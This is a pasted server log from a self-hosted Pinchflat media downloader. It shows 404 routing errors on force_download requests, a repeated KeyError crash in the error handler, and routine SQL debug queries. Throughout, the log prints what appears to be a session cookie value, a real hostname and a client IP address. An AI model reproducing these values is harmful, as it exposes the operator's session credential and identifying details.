{"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/media/482073/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guMKya-Oqqo8AC6FC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33204}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/482073/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163663.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/482073/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33204}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163665.0>, params: %{}, path_info: ["sources", "2", "media", "482073", "force_download"], (truncated) 18:56:13.806 [info] GET /sources/2/media/472253/edit 18:56:13.806 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "472253", "source_id" => "2"} Pipelines: [:browser] 18:56:13.807 [debug] QUERY OK source="media_items" db=0.1ms idle=36.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [472253] 18:56:13.807 [debug] QUERY OK source="settings" db=0.1ms idle=36.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.807 [debug] QUERY OK source="settings" db=0.1ms idle=35.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.808 [debug] QUERY OK source="settings" db=0.1ms idle=14.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.809 [info] Sent 200 in 2ms 18:56:13.868 [info] GET /sources/2/media/366904/force_download 18:56:13.868 [info] GET /sources/2/media/472253/force_download 18:56:13.869 [debug] QUERY OK source="settings" db=0.2ms idle=74.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.869 [debug] QUERY OK source="settings" db=0.2ms idle=62.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.869 [debug] QUERY OK source="settings" db=0.2ms idle=61.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.869 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:13.870 [debug] QUERY OK source="settings" db=0.2ms queue=0.8ms idle=61.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.870 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:13.869 [error] #PID<0.163671.0> running PinchflatWeb.Endpoint (connection #PID<0.163669.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/366904/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/366904/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33240}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163671.0>, params: %{}, path_info: ["sources", "2", "media", "366904", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/media/366904/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guMc4hrO-Cj4AC6Gi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33240}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/366904/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/366904/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33240}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163671.0>, params: %{}, path_info: ["sources", "2", "media", "366904", "force_download"], (truncated) 18:56:13.870 [error] #PID<0.163672.0> running PinchflatWeb.Endpoint (connection #PID<0.163670.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/2/media/472253/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/472253/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163670.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33256}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163672.0>, params: %{}, path_info: ["sources", "2", "media", "472253", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/2/media/472253/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guMc9RRqk4RYAFrcB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163670.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33256}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/472253/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163670.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/472253/force_download", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 33256}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163672.0>, params: %{}, path_info: ["sources", "2", "media", "472253", "force_download"], (truncated) 18:56:13.882 [info] GET /sources/2/media/472253 18:56:13.883 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "472253", "prevent_download" => "true", "source_id" => "2"} Pipelines: [:browser] 18:56:13.883 [debug] QUERY OK source="media_items" db=0.1ms idle=75.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [472253] 18:56:13.884 [debug] QUERY OK source="tasks" db=0.2ms idle=14.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [472253] 18:56:13.884 [debug] QUERY OK source="sources" db=0.1ms idle=14.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:56:13.884 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=14.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [16507, 16788] 18:56:13.885 [debug] QUERY OK source="settings" db=0.1ms idle=14.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.885 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.885 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:13.886 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:56:13.887 [info] Sent 200 in 4ms 18:56:13.890 [info] GET /media/8621989f-713f-410e-a929-2353fcfa6b43/stream 18:56:13.890 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "8621989f-713f-410e-a929-2353fcfa6b43", "v" => "1787018556"} Pipelines: [:maybe_basic_auth] 18:56:13.890 [debug] QUERY OK source="media_items" db=0.1ms idle=6.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["8621989f-713f-410e-a929-2353fcfa6b43"] 18:56:13.891 [debug] Invalid range request for media item: 8621989f-713f-410e-a929-2353fcfa6b43 - serving full file 18:56:13.891 [info] Sent 200 in 831µs 18:56:13.907 [info] GET /sources/a499c8c0-4e0c-418c-8d71-ddf40677439f/feed.xml 18:56:13.907 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "a499c8c0-4e0c-418c-8d71-ddf40677439f"} Pipelines: [:maybe_basic_auth] 18:56:13.907 [debug] QUERY OK source="sources" db=0.2ms idle=22.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["a499c8c0-4e0c-418c-8d71-ddf40677439f"] 18:56:13.914 [debug] QUERY OK source="media_items" db=6.3ms idle=22.4ms 